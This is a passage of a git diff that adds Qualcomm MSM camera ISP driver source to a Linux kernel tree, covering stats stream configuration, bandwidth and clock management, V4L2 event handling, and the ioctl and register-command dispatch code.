comp_stats_mask[0], + comp_stats_mask[1], + stats_data->num_active_stream); + + } + if (vfe_dev->axi_data.src_info[VFE_PIX_0].active) { + rc = msm_isp_stats_wait_for_cfg_done(vfe_dev); + } else { + vfe_dev->hw_info->vfe_ops.stats_ops.enable_module( + vfe_dev, stats_mask, stream_cfg_cmd->enable); + for (i = 0; i < num_stats_comp_mask; i++) { + vfe_dev->hw_info->vfe_ops.stats_ops.cfg_comp_mask( + vfe_dev, comp_stats_mask[i], 1); + } + } + return rc; +} + +static int msm_isp_stop_stats_stream(struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream_cfg_cmd *stream_cfg_cmd) +{ + int i, rc = 0; + uint32_t stats_mask = 0, idx; + uint32_t comp_stats_mask[MAX_NUM_STATS_COMP_MASK] = {0}; + uint32_t num_stats_comp_mask = 0; + struct msm_vfe_stats_stream *stream_info; + struct msm_vfe_stats_shared_data *stats_data = &vfe_dev->stats_data; + num_stats_comp_mask = + vfe_dev->hw_info->stats_hw_info->num_stats_comp_mask; + + for (i = 0; i < stream_cfg_cmd->num_streams; i++) { + + idx = STATS_IDX(stream_cfg_cmd->stream_handle[i]); + + if (idx >= vfe_dev->hw_info->stats_hw_info->num_stats_type) { + pr_err("%s Invalid stats index %d", __func__, idx); + return -EINVAL; + } + + stream_info = &stats_data->stream_info[idx]; + if (stream_info->stream_handle != + stream_cfg_cmd->stream_handle[i]) { + pr_err("%s: Invalid stream handle: 0x%x received\n", + __func__, stream_cfg_cmd->stream_handle[i]); + continue; + } + + if (stream_info->composite_flag > num_stats_comp_mask) { + pr_err("%s: comp grp %d exceed max %d\n", + __func__, stream_info->composite_flag, + num_stats_comp_mask); + return -EINVAL; + } + + if (vfe_dev->axi_data.src_info[VFE_PIX_0].active) + stream_info->state = STATS_STOP_PENDING; + else + stream_info->state = STATS_INACTIVE; + + stats_data->num_active_stream--; + stats_mask |= 1 << idx; + + if (stream_info->composite_flag > 0) + comp_stats_mask[stream_info->composite_flag-1] |= + 1 << idx; + + ISP_DBG("%s: stats_mask %x %x active streams %d\n", + __func__, comp_stats_mask[0], + comp_stats_mask[1], + stats_data->num_active_stream); + } + + if (vfe_dev->axi_data.src_info[VFE_PIX_0].active) { + rc = msm_isp_stats_wait_for_cfg_done(vfe_dev); + } else { + vfe_dev->hw_info->vfe_ops.stats_ops.enable_module( + vfe_dev, stats_mask, stream_cfg_cmd->enable); + for (i = 0; i < num_stats_comp_mask; i++) { + vfe_dev->hw_info->vfe_ops.stats_ops.cfg_comp_mask( + vfe_dev, comp_stats_mask[i], 0); + } + } + + for (i = 0; i < stream_cfg_cmd->num_streams; i++) { + idx = STATS_IDX(stream_cfg_cmd->stream_handle[i]); + + if (idx >= vfe_dev->hw_info->stats_hw_info->num_stats_type) { + pr_err("%s Invalid stats index %d", __func__, idx); + return -EINVAL; + } + + stream_info = &stats_data->stream_info[idx]; + msm_isp_deinit_stats_ping_pong_reg(vfe_dev, stream_info); + } + return rc; +} + +int msm_isp_cfg_stats_stream(struct vfe_device *vfe_dev, void *arg) +{ + int rc = 0; + struct msm_vfe_stats_stream_cfg_cmd *stream_cfg_cmd = arg; + struct msm_vfe_stats_shared_data *stats_data = &vfe_dev->stats_data; + stats_data->stats_burst_len = stream_cfg_cmd->stats_burst_len; + + if (vfe_dev->stats_data.num_active_stream == 0) + vfe_dev->hw_info->vfe_ops.stats_ops.cfg_ub(vfe_dev); + + if (stream_cfg_cmd->enable) + rc = msm_isp_start_stats_stream(vfe_dev, stream_cfg_cmd); + else + rc = msm_isp_stop_stats_stream(vfe_dev, stream_cfg_cmd); + + return rc; +} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_stats_util.h b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_stats_util.h new file mode 100644 index 0000000000000..7b4c4b4eb0dc6 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_stats_util.h @@ -0,0 +1,25 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +#ifndef __MSM_ISP_STATS_UTIL_H__ +#define __MSM_ISP_STATS_UTIL_H__ + +#include "msm_isp.h" +#define STATS_IDX(idx) (idx & 0xFF) + +void msm_isp_process_stats_irq(struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1, + struct msm_isp_timestamp *ts); +void msm_isp_stats_stream_update(struct vfe_device *vfe_dev); +int msm_isp_cfg_stats_stream(struct vfe_device *vfe_dev, void *arg); +int msm_isp_release_stats_stream(struct vfe_device *vfe_dev, void *arg); +int msm_isp_request_stats_stream(struct vfe_device *vfe_dev, void *arg); +#endif /* __MSM_ISP_STATS_UTIL_H__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_util.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_util.c new file mode 100644 index 0000000000000..c5a59e0b72862 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_util.c @@ -0,0 +1,1573 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +#include +#include +#include +#include + +#include "msm.h" +#include "msm_isp_util.h" +#include "msm_isp_axi_util.h" +#include "msm_isp_stats_util.h" +#include "msm_camera_io_util.h" + +#define MAX_ISP_V4l2_EVENTS 100 +static DEFINE_MUTEX(bandwidth_mgr_mutex); +static struct msm_isp_bandwidth_mgr isp_bandwidth_mgr; + +#define MSM_ISP_MIN_AB 450000000 +#define MSM_ISP_MIN_IB 900000000 +#define MSM_MIN_REQ_VFE_CPP_BW 1700000000 + +#define VFE40_8974V2_VERSION 0x1001001A +static struct msm_bus_vectors msm_isp_init_vectors[] = { + { + .src = MSM_BUS_MASTER_VFE, + .dst = MSM_BUS_SLAVE_EBI_CH0, + .ab = 0, + .ib = 0, + }, +}; + +static struct msm_bus_vectors msm_isp_ping_vectors[] = { + { + .src = MSM_BUS_MASTER_VFE, + .dst = MSM_BUS_SLAVE_EBI_CH0, + .ab = MSM_ISP_MIN_AB, + .ib = MSM_ISP_MIN_IB, + }, +}; + +static struct msm_bus_vectors msm_isp_pong_vectors[] = { + { + .src = MSM_BUS_MASTER_VFE, + .dst = MSM_BUS_SLAVE_EBI_CH0, + .ab = MSM_ISP_MIN_AB, + .ib = MSM_ISP_MIN_IB, + }, +}; + +static struct msm_bus_paths msm_isp_bus_client_config[] = { + { + ARRAY_SIZE(msm_isp_init_vectors), + msm_isp_init_vectors, + }, + { + ARRAY_SIZE(msm_isp_ping_vectors), + msm_isp_ping_vectors, + }, + { + ARRAY_SIZE(msm_isp_pong_vectors), + msm_isp_pong_vectors, + }, +}; + +static struct msm_bus_scale_pdata msm_isp_bus_client_pdata = { + msm_isp_bus_client_config, + ARRAY_SIZE(msm_isp_bus_client_config), + .name = "msm_camera_isp", +}; + +static void msm_isp_print_fourcc_error(const char *origin, + uint32_t fourcc_format) +{ + int i; + char text[5]; + text[4] = '\0'; + for (i = 0; i < 4; i++) { + text[i] = (char)(((fourcc_format) >> (i * 8)) & 0xFF); + if ((text[i] < '0') || (text[i] > 'z')) { + pr_err("%s: Invalid output format %d (unprintable)\n", + origin, fourcc_format); + return; + } + } + pr_err("%s: Invalid output format %s\n", + origin, text); + return; +} + +#ifdef CONFIG_COMPAT +struct msm_vfe_cfg_cmd2_32 { + uint16_t num_cfg; + uint16_t cmd_len; + compat_caddr_t cfg_data; + compat_caddr_t cfg_cmd; +}; + +#define VIDIOC_MSM_VFE_REG_CFG_COMPAT \ + _IOWR('V', BASE_VIDIOC_PRIVATE, struct msm_vfe_cfg_cmd2_32) +#endif /* CONFIG_COMPAT */ + +int msm_isp_init_bandwidth_mgr(enum msm_isp_hw_client client) +{ + int rc = 0; + mutex_lock(&bandwidth_mgr_mutex); + isp_bandwidth_mgr.client_info[client].active = 1; + if (isp_bandwidth_mgr.use_count++) { + mutex_unlock(&bandwidth_mgr_mutex); + return rc; + } + isp_bandwidth_mgr.bus_client = + msm_bus_scale_register_client(&msm_isp_bus_client_pdata); + if (!isp_bandwidth_mgr.bus_client) { + pr_err("%s: client register failed\n", __func__); + mutex_unlock(&bandwidth_mgr_mutex); + return -EINVAL; + } + + isp_bandwidth_mgr.bus_vector_active_idx = 1; + msm_bus_scale_client_update_request( + isp_bandwidth_mgr.bus_client, + isp_bandwidth_mgr.bus_vector_active_idx); + + mutex_unlock(&bandwidth_mgr_mutex); + return 0; +} + +int msm_isp_update_bandwidth(enum msm_isp_hw_client client, + uint64_t ab, uint64_t ib) +{ + int i; + struct msm_bus_paths *path; + mutex_lock(&bandwidth_mgr_mutex); + if (!isp_bandwidth_mgr.use_count || + !isp_bandwidth_mgr.bus_client) { + pr_err("%s:error bandwidth manager inactive use_cnt:%d bus_clnt:%d\n", + __func__, isp_bandwidth_mgr.use_count, + isp_bandwidth_mgr.bus_client); + return -EINVAL; + } + + isp_bandwidth_mgr.client_info[client].ab = ab; + isp_bandwidth_mgr.client_info[client].ib = ib; + ALT_VECTOR_IDX(isp_bandwidth_mgr.bus_vector_active_idx); + path = + &(msm_isp_bus_client_pdata.usecase[ + isp_bandwidth_mgr.bus_vector_active_idx]); + path->vectors[0].ab = MSM_ISP_MIN_AB; + path->vectors[0].ib = MSM_ISP_MIN_IB; + for (i = 0; i < MAX_ISP_CLIENT; i++) { + if (isp_bandwidth_mgr.client_info[i].active) { + path->vectors[0].ab += + isp_bandwidth_mgr.client_info[i].ab; + path->vectors[0].ib += + isp_bandwidth_mgr.client_info[i].ib; + } + } + /*All the clients combined i.e. VFE + CPP should use atleast + minimum recommended bandwidth*/ + if (path->vectors[0].ib < MSM_MIN_REQ_VFE_CPP_BW) + path->vectors[0].ib = MSM_MIN_REQ_VFE_CPP_BW; + msm_bus_scale_client_update_request(isp_bandwidth_mgr.bus_client, + isp_bandwidth_mgr.bus_vector_active_idx); + mutex_unlock(&bandwidth_mgr_mutex); + return 0; +} + +void msm_isp_deinit_bandwidth_mgr(enum msm_isp_hw_client client) +{ + mutex_lock(&bandwidth_mgr_mutex); + memset(&isp_bandwidth_mgr.client_info[client], 0, + sizeof(struct msm_isp_bandwidth_info)); + if (--isp_bandwidth_mgr.use_count) { + mutex_unlock(&bandwidth_mgr_mutex); + return; + } + + if (!isp_bandwidth_mgr.bus_client) { + pr_err("%s:%d error: bus client invalid\n", __func__, __LINE__); + mutex_unlock(&bandwidth_mgr_mutex); + return; + } + + msm_bus_scale_client_update_request( + isp_bandwidth_mgr.bus_client, 0); + msm_bus_scale_unregister_client(isp_bandwidth_mgr.bus_client); + isp_bandwidth_mgr.bus_client = 0; + mutex_unlock(&bandwidth_mgr_mutex); +} + +uint32_t msm_isp_get_framedrop_period( + enum msm_vfe_frame_skip_pattern frame_skip_pattern) +{ + switch (frame_skip_pattern) { + case NO_SKIP: + case EVERY_2FRAME: + case EVERY_3FRAME: + case EVERY_4FRAME: + case EVERY_5FRAME: + case EVERY_6FRAME: + case EVERY_7FRAME: + case EVERY_8FRAME: + return frame_skip_pattern + 1; + case EVERY_16FRAME: + return 16; + break; + case EVERY_32FRAME: + return 32; + break; + case SKIP_ALL: + return 1; + default: + return 1; + } + return 1; +} + +int msm_isp_get_clk_info(struct vfe_device *vfe_dev, + struct platform_device *pdev, struct msm_cam_clk_info *vfe_clk_info) +{ + uint32_t count; + int i, rc; + uint32_t rates[VFE_CLK_INFO_MAX]; + + struct device_node *of_node; + of_node = pdev->dev.of_node; + + count = of_property_count_strings(of_node, "clock-names"); + + ISP_DBG("count = %d\n", count); + if (count == 0) { + pr_err("no clocks found in device tree, count=%d", count); + return 0; + } + + if (count > VFE_CLK_INFO_MAX) { + pr_err("invalid count=%d, max is %d\n", count, + VFE_CLK_INFO_MAX); + return -EINVAL; + } + + for (i = 0; i < count; i++) { + rc = of_property_read_string_index(of_node, "clock-names", + i, &(vfe_clk_info[i].clk_name)); + ISP_DBG("clock-names[%d] = %s\n", i, vfe_clk_info[i].clk_name); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + return rc; + } + } + rc = of_property_read_u32_array(of_node, "qcom,clock-rates", + rates, count); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + return rc; + } + for (i = 0; i < count; i++) { + vfe_clk_info[i].clk_rate = (rates[i] == 0) ? -1 : rates[i]; + ISP_DBG("clk_rate[%d] = %ld\n", i, vfe_clk_info[i].clk_rate); + } + vfe_dev->num_clk = count; + return 0; +} + +static inline void msm_isp_get_timestamp(struct msm_isp_timestamp *time_stamp) +{ + struct timespec ts; + ktime_get_ts(&ts); + time_stamp->buf_time.tv_sec = ts.tv_sec; + time_stamp->buf_time.tv_usec = ts.tv_nsec/1000; + do_gettimeofday(&(time_stamp->event_time)); +} + +int msm_isp_subscribe_event(struct v4l2_subdev *sd, struct v4l2_fh *fh, + struct v4l2_event_subscription *sub) +{ + struct vfe_device *vfe_dev = v4l2_get_subdevdata(sd); + int rc = 0; + rc = v4l2_event_subscribe(fh, sub, MAX_ISP_V4l2_EVENTS, NULL); + if (rc == 0) { + if (sub->type == V4L2_EVENT_ALL) { + int i; + + vfe_dev->axi_data.event_mask = 0; + for (i = 0; i < ISP_EVENT_MAX; i++) + vfe_dev->axi_data.event_mask |= (1 << i); + } else { + int event_idx = sub->type - ISP_EVENT_BASE; + + vfe_dev->axi_data.event_mask |= (1 << event_idx); + } + } + return rc; +} + +int msm_isp_unsubscribe_event(struct v4l2_subdev *sd, struct v4l2_fh *fh, + struct v4l2_event_subscription *sub) +{ + struct vfe_device *vfe_dev = v4l2_get_subdevdata(sd); + int rc = 0; + + rc = v4l2_event_unsubscribe(fh, sub); + if (sub->type == V4L2_EVENT_ALL) { + vfe_dev->axi_data.event_mask = 0; + } else { + int event_idx = sub->type - ISP_EVENT_BASE; + + vfe_dev->axi_data.event_mask &= ~(1 << event_idx); + } + return rc; +} + +static int msm_isp_get_max_clk_rate(struct vfe_device *vfe_dev, long *rate) +{ + int clk_idx = 0; + unsigned long max_value = ~0; + long round_rate = 0; + + if (!vfe_dev || !rate) { + pr_err("%s:%d failed: vfe_dev %p rate %p\n", __func__, __LINE__, + vfe_dev, rate); + return -EINVAL; + } + + *rate = 0; + if (!vfe_dev->hw_info) { + pr_err("%s:%d failed: vfe_dev->hw_info %p\n", __func__, + __LINE__, vfe_dev->hw_info); + return -EINVAL; + } + + clk_idx = vfe_dev->hw_info->vfe_clk_idx; + if (clk_idx >= ARRAY_SIZE(vfe_dev->vfe_clk)) { + pr_err("%s:%d failed: clk_idx %d max array size %d\n", + __func__, __LINE__, clk_idx, + ARRAY_SIZE(vfe_dev->vfe_clk)); + return -EINVAL; + } + + round_rate = clk_round_rate(vfe_dev->vfe_clk[clk_idx], max_value); + if (round_rate < 0) { + pr_err("%s: Invalid vfe clock rate\n", __func__); + return -EINVAL; + } + + *rate = round_rate; + return 0; +} + +static int msm_isp_set_clk_rate(struct vfe_device *vfe_dev, long *rate) +{ + int rc = 0; + int clk_idx = vfe_dev->hw_info->vfe_clk_idx; + long round_rate = + clk_round_rate(vfe_dev->vfe_clk[clk_idx], *rate); + if (round_rate < 0) { + pr_err("%s: Invalid vfe clock rate\n", __func__); + return round_rate; + } + + rc = clk_set_rate(vfe_dev->vfe_clk[clk_idx], round_rate); + if (rc < 0) { + pr_err("%s: Vfe set rate error\n", __func__); + return rc; + } + *rate = round_rate; + return 0; +} + +int msm_isp_cfg_pix(struct vfe_device *vfe_dev, + struct msm_vfe_input_cfg *input_cfg) +{ + int rc = 0; + if (vfe_dev->axi_data.src_info[VFE_PIX_0].active) { + pr_err("%s: pixel path is active\n", __func__); + return -EINVAL; + } + + vfe_dev->axi_data.src_info[VFE_PIX_0].pixel_clock = + input_cfg->input_pix_clk; + vfe_dev->axi_data.src_info[VFE_PIX_0].input_mux = + input_cfg->d.pix_cfg.input_mux; + vfe_dev->axi_data.src_info[VFE_PIX_0].width = + input_cfg->d.pix_cfg.camif_cfg.pixels_per_line; + + rc = msm_isp_set_clk_rate(vfe_dev, + &vfe_dev->axi_data.src_info[VFE_PIX_0].pixel_clock); + if (rc < 0) { + pr_err("%s: clock set rate failed\n", __func__); + return rc; + } + + vfe_dev->axi_data.src_info[VFE_PIX_0].input_format = + input_cfg->d.pix_cfg.input_format; + + vfe_dev->hw_info->vfe_ops.core_ops.cfg_camif( + vfe_dev, &input_cfg->d.pix_cfg); + return rc; +} + +int msm_isp_cfg_rdi(struct vfe_device *vfe_dev, + struct msm_vfe_input_cfg *input_cfg) +{ + int rc = 0; + if (vfe_dev->axi_data.src_info[input_cfg->input_src].active) { + pr_err("%s: RAW%d path is active\n", __func__, + input_cfg->input_src - VFE_RAW_0); + return -EINVAL; + } + + vfe_dev->axi_data.src_info[input_cfg->input_src].pixel_clock = + input_cfg->input_pix_clk; + vfe_dev->hw_info->vfe_ops.core_ops.cfg_rdi_reg( + vfe_dev, &input_cfg->d.rdi_cfg, input_cfg->input_src); + return rc; +} + +int msm_isp_cfg_input(struct vfe_device *vfe_dev, void *arg) +{ + int rc = 0; + struct msm_vfe_input_cfg *input_cfg = arg; + + switch (input_cfg->input_src) { + case VFE_PIX_0: + rc = msm_isp_cfg_pix(vfe_dev, input_cfg); + break; + case VFE_RAW_0: + case VFE_RAW_1: + case VFE_RAW_2: + rc = msm_isp_cfg_rdi(vfe_dev, input_cfg); + break; + default: + pr_err("%s: Invalid input source\n", __func__); + rc = -EINVAL; + } + return rc; +} + +static long msm_isp_ioctl_unlocked(struct v4l2_subdev *sd, + unsigned int cmd, void *arg) +{ + long rc = 0; + struct vfe_device *vfe_dev = v4l2_get_subdevdata(sd); + + /* use real time mutex for hard real-time ioctls such as + * buffer operations and register updates. + * Use core mutex for other ioctls that could take + * longer time to complete such as start/stop ISP streams + * which blocks until the hardware start/stop streaming + */ + ISP_DBG("%s cmd: %d\n", __func__, _IOC_TYPE(cmd)); + switch (cmd) { + case VIDIOC_MSM_VFE_REG_CFG: { + mutex_lock(&vfe_dev->realtime_mutex); + rc = msm_isp_proc_cmd(vfe_dev, arg); + mutex_unlock(&vfe_dev->realtime_mutex); + break; + } + case VIDIOC_MSM_VFE_REG_LIST_CFG: { + mutex_lock(&vfe_dev->realtime_mutex); + rc = msm_isp_proc_cmd_list(vfe_dev, arg); + mutex_unlock(&vfe_dev->realtime_mutex); + break; + } + case VIDIOC_MSM_ISP_REQUEST_BUF: + case VIDIOC_MSM_ISP_ENQUEUE_BUF: + case VIDIOC_MSM_ISP_RELEASE_BUF: { + mutex_lock(&vfe_dev->realtime_mutex); + rc = msm_isp_proc_buf_cmd(vfe_dev->buf_mgr, cmd, arg); + mutex_unlock(&vfe_dev->realtime_mutex); + break; + } + case VIDIOC_MSM_ISP_REQUEST_STREAM: + mutex_lock(&vfe_dev->core_mutex); + rc = msm_isp_request_axi_stream(vfe_dev, arg); + mutex_unlock(&vfe_dev->core_mutex); + break; + case VIDIOC_MSM_ISP_RELEASE_STREAM: + mutex_lock(&vfe_dev->core_mutex); + rc = msm_isp_release_axi_stream(vfe_dev, arg); + mutex_unlock(&vfe_dev->core_mutex); + break; + case VIDIOC_MSM_ISP_CFG_STREAM: + mutex_lock(&vfe_dev->core_mutex); + rc = msm_isp_cfg_axi_stream(vfe_dev, arg); + mutex_unlock(&vfe_dev->core_mutex); + break; + case VIDIOC_MSM_ISP_INPUT_CFG: + mutex_lock(&vfe_dev->core_mutex); + rc = msm_isp_cfg_input(vfe_dev, arg); + mutex_unlock(&vfe_dev->core_mutex); + break; + case VIDIOC_MSM_ISP_SET_SRC_STATE: + mutex_lock(&vfe_dev->core_mutex); + rc = msm_isp_set_src_state(vfe_dev, arg); + mutex_unlock(&vfe_dev->core_mutex); + break; + case VIDIOC_MSM_ISP_REQUEST_STATS_STREAM: + mutex_lock(&vfe_dev->core_mutex); + rc = msm_isp_request_stats_stream(vfe_dev, arg); + mutex_unlock(&vfe_dev->core_mutex); + break; + case VIDIOC_MSM_ISP_RELEASE_STATS_STREAM: + mutex_lock(&vfe_dev->core_mutex); + rc = msm_isp_release_stats_stream(vfe_dev, arg); + mutex_unlock(&vfe_dev->core_mutex); + break; + case VIDIOC_MSM_ISP_CFG_STATS_STREAM: + mutex_lock(&vfe_dev->core_mutex); + rc = msm_isp_cfg_stats_stream(vfe_dev, arg); + mutex_unlock(&vfe_dev->core_mutex); + break; + case VIDIOC_MSM_ISP_UPDATE_STREAM: + mutex_lock(&vfe_dev->core_mutex); + rc = msm_isp_update_axi_stream(vfe_dev, arg); + mutex_unlock(&vfe_dev->core_mutex); + break; + case MSM_SD_SHUTDOWN: + while (vfe_dev->vfe_open_cnt != 0) + msm_isp_close_node(sd, NULL); + break; + + default: + pr_err_ratelimited("%s: Invalid ISP command\n", __func__); + rc = -EINVAL; + } + return rc; +} + +#ifdef CONFIG_COMPAT +static long msm_isp_ioctl_compat(struct v4l2_subdev *sd, + unsigned int cmd, void *arg) +{ + long rc = 0; + void __user *up; + if (is_compat_task()) { + up = compat_ptr((unsigned long)arg); + arg = up; + } + + switch (cmd) { + case VIDIOC_MSM_VFE_REG_CFG_COMPAT: { + struct vfe_device *vfe_dev = v4l2_get_subdevdata(sd); + struct msm_vfe_cfg_cmd2 proc_cmd; + struct msm_vfe_cfg_cmd2_32 *proc_cmd_ptr32; + mutex_lock(&vfe_dev->realtime_mutex); + proc_cmd_ptr32 = (struct msm_vfe_cfg_cmd2_32 *) + compat_ptr((unsigned long)arg); + proc_cmd.num_cfg = proc_cmd_ptr32->num_cfg; + proc_cmd.cmd_len = proc_cmd_ptr32->cmd_len; + proc_cmd.cfg_data = compat_ptr(proc_cmd_ptr32->cfg_data); + proc_cmd.cfg_cmd = compat_ptr(proc_cmd_ptr32->cfg_cmd); + rc = msm_isp_proc_cmd(vfe_dev, &proc_cmd); + mutex_unlock(&vfe_dev->realtime_mutex); + break; + } + default: + return msm_isp_ioctl_unlocked(sd, cmd, arg); + } + + return rc; +} + +long msm_isp_ioctl(struct v4l2_subdev *sd, + unsigned int cmd, void *arg) +{ + return msm_isp_ioctl_compat(sd, cmd, arg); +} +#else /* CONFIG_COMPAT */ +long msm_isp_ioctl(struct v4l2_subdev *sd, + unsigned int cmd, void *arg) +{ + return msm_isp_ioctl_unlocked(sd, cmd, arg); +} +#endif /* CONFIG_COMPAT */ + +static int msm_isp_send_hw_cmd(struct vfe_device *vfe_dev, + struct msm_vfe_reg_cfg_cmd *reg_cfg_cmd, + uint32_t *cfg_data, uint32_t cmd_len) +{ + if (!vfe_dev || !reg_cfg_cmd) { + pr_err("%s:%d failed: vfe_dev %p reg_cfg_cmd %p\n", __func__, + __LINE__, vfe_dev, reg_cfg_cmd); + return -EINVAL; + } + if ((reg_cfg_cmd->cmd_type != VFE_CFG_MASK) && + (!cfg_data || !cmd_len)) { + pr_err("%s:%d failed: cmd type %d cfg_data %p cmd_len %d\n", + __func__, __LINE__, reg_cfg_cmd->cmd_type, cfg_data, + cmd_len); + return -EINVAL; + } + switch (reg_cfg_cmd->cmd_type) { + case VFE_WRITE: { + if (resource_size(vfe_dev->vfe_mem) < + (reg_cfg_cmd->u.rw_info.reg_offset + + reg_cfg_cmd->u.rw_info.len)) { + pr_err("%s: VFE_WRITE: Invalid length\n", __func__); + return -EINVAL; + } + msm_camera_io_memcpy(vfe_dev->vfe_base + + reg_cfg_cmd->u.rw_info.reg_offset, + cfg_data + reg_cfg_cmd->u.rw_info.cmd_data_offset/4, + reg_cfg_cmd->u.rw_info.len); + break; + } + case VFE_WRITE_MB: { + uint32_t *data_ptr = cfg_data + + reg_cfg_cmd->u.rw_info.cmd_data_offset/4; + + if ((UINT_MAX - sizeof(*data_ptr) < + reg_cfg_cmd->u.rw_info.reg_offset) || + (resource_size(vfe_dev->vfe_mem) < + reg_cfg_cmd->u.rw_info.reg_offset + + sizeof(*data_ptr))) { + pr_err("%s: VFE_WRITE_MB: Invalid length\n", __func__); + return -EINVAL; + } + msm_camera_io_w_mb(*data_ptr, vfe_dev->vfe_base + + reg_cfg_cmd->u.rw_info.reg_offset); + break; + } + case VFE_CFG_MASK: { + uint32_t temp; + if (resource_size(vfe_dev->vfe_mem) < + reg_cfg_cmd->u.mask_info.reg_offset) + return -EINVAL; + temp = msm_camera_io_r(vfe_dev->vfe_base + + reg_cfg_cmd->u.mask_info.reg_offset); + + temp &= ~reg_cfg_cmd->u.mask_info.mask; + temp |= reg_cfg_cmd->u.mask_info.val; + if ((UINT_MAX - sizeof(temp) < + reg_cfg_cmd->u.mask_info.reg_offset) || + (resource_size(vfe_dev->vfe_mem) < + reg_cfg_cmd->u.mask_info.reg_offset + + sizeof(temp))) { + pr_err("%s: VFE_CFG_MASK: Invalid length\n", __func__); + return -EINVAL; + } + msm_camera_io_w(temp, vfe_dev->vfe_base + + reg_cfg_cmd->u.mask_info.reg_offset); + break; + } + case VFE_WRITE_DMI_16BIT: + case VFE_WRITE_DMI_32BIT: + case VFE_WRITE_DMI_64BIT: { + int i; + uint32_t *hi_tbl_ptr = NULL, *lo_tbl_ptr = NULL; + uint32_t hi_val, lo_val, lo_val1; + if (reg_cfg_cmd->cmd_type == VFE_WRITE_DMI_64BIT) { + if ((UINT_MAX - reg_cfg_cmd->u.dmi_info.hi_tbl_offset < + reg_cfg_cmd->u.dmi_info.len) || + (reg_cfg_cmd->u.dmi_info.hi_tbl_offset + + reg_cfg_cmd->u.dmi_info.len > cmd_len)) { + pr_err("Invalid Hi Table out of bounds\n"); + return -EINVAL; + } + hi_tbl_ptr = cfg_data + + reg_cfg_cmd->u.dmi_info.hi_tbl_offset/4; + } + + if (reg_cfg_cmd->u.dmi_info.lo_tbl_offset + + reg_cfg_cmd->u.dmi_info.len > cmd_len) { + pr_err("Invalid Lo Table out of bounds\n"); + return -EINVAL; + } + lo_tbl_ptr = cfg_data + + reg_cfg_cmd->u.dmi_info.lo_tbl_offset/4; + if (reg_cfg_cmd->cmd_type == VFE_WRITE_DMI_64BIT) + reg_cfg_cmd->u.dmi_info.len = + reg_cfg_cmd->u.dmi_info.len / 2; + for (i = 0; i < reg_cfg_cmd->u.dmi_info.len/4; i++) { + lo_val = *lo_tbl_ptr++; + if (reg_cfg_cmd->cmd_type == VFE_WRITE_DMI_16BIT) { + lo_val1 = lo_val & 0x0000FFFF; + lo_val = (lo_val & 0xFFFF0000)>>16; + msm_camera_io_w(lo_val1, vfe_dev->vfe_base + + vfe_dev->hw_info->dmi_reg_offset + 0x4); + } else if (reg_cfg_cmd->cmd_type == + VFE_WRITE_DMI_64BIT) { + lo_tbl_ptr++; + hi_val = *hi_tbl_ptr; + hi_tbl_ptr = hi_tbl_ptr + 2; + msm_camera_io_w(hi_val, vfe_dev->vfe_base + + vfe_dev->hw_info->dmi_reg_offset); + } + msm_camera_io_w(lo_val, vfe_dev->vfe_base + + vfe_dev->hw_info->dmi_reg_offset + 0x4); + } + break; + } + case VFE_READ_DMI_16BIT: + case VFE_READ_DMI_32BIT: + case VFE_READ_DMI_64BIT: { + int i; + uint32_t *hi_tbl_ptr = NULL, *lo_tbl_ptr = NULL; + uint32_t hi_val, lo_val, lo_val1; + if (reg_cfg_cmd->cmd_type == VFE_READ_DMI_64BIT) { + if (reg_cfg_cmd->u.dmi_info.hi_tbl_offset + + reg_cfg_cmd->u.dmi_info.len > cmd_len) { + pr_err("Invalid Hi Table out of bounds\n"); + return -EINVAL; + } + hi_tbl_ptr = cfg_data + + reg_cfg_cmd->u.dmi_info.hi_tbl_offset/4; + } + + if (reg_cfg_cmd->u.dmi_info.lo_tbl_offset + + reg_cfg_cmd->u.dmi_info.len > cmd_len) { + pr_err("Invalid Lo Table out of bounds\n"); + return -EINVAL; + } + lo_tbl_ptr = cfg_data + + reg_cfg_cmd->u.dmi_info.lo_tbl_offset/4; + + for (i = 0; i < reg_cfg_cmd->u.dmi_info.len/4; i++) { + if (reg_cfg_cmd->cmd_type == VFE_READ_DMI_64BIT) { + hi_val = msm_camera_io_r(vfe_dev->vfe_base + + vfe_dev->hw_info->dmi_reg_offset); + *hi_tbl_ptr = hi_val; + hi_tbl_ptr += 2; + } + + lo_val = msm_camera_io_r(vfe_dev->vfe_base + + vfe_dev->hw_info->dmi_reg_offset + 0x4); + + if (reg_cfg_cmd->cmd_type == VFE_READ_DMI_16BIT) { + lo_val1 = msm_camera_io_r(vfe_dev->vfe_base + + vfe_dev->hw_info->dmi_reg_offset + 0x4); + lo_val |= lo_val1 << 16; + } + *lo_tbl_ptr++ = lo_val; + if (reg_cfg_cmd->cmd_type == VFE_READ_DMI_64BIT) + lo_tbl_ptr++; + } + break; + } + case VFE_HW_UPDATE_LOCK: { + uint32_t session_id = + vfe_dev->axi_data.src_info[VFE_PIX_0].session_id; + uint32_t update_id = + vfe_dev->axi_data.src_info[VFE_PIX_0].last_updt_frm_id; + if (vfe_dev->axi_data.frame_id[session_id] != *cfg_data + || update_id == *cfg_data) { + pr_err("hw update lock failed,acquire id %u\n", + *cfg_data); + pr_err("hw update lock failed,current id %u\n", + vfe_dev->axi_data.frame_id[session_id]); + pr_err("hw update lock failed,last id %u\n", 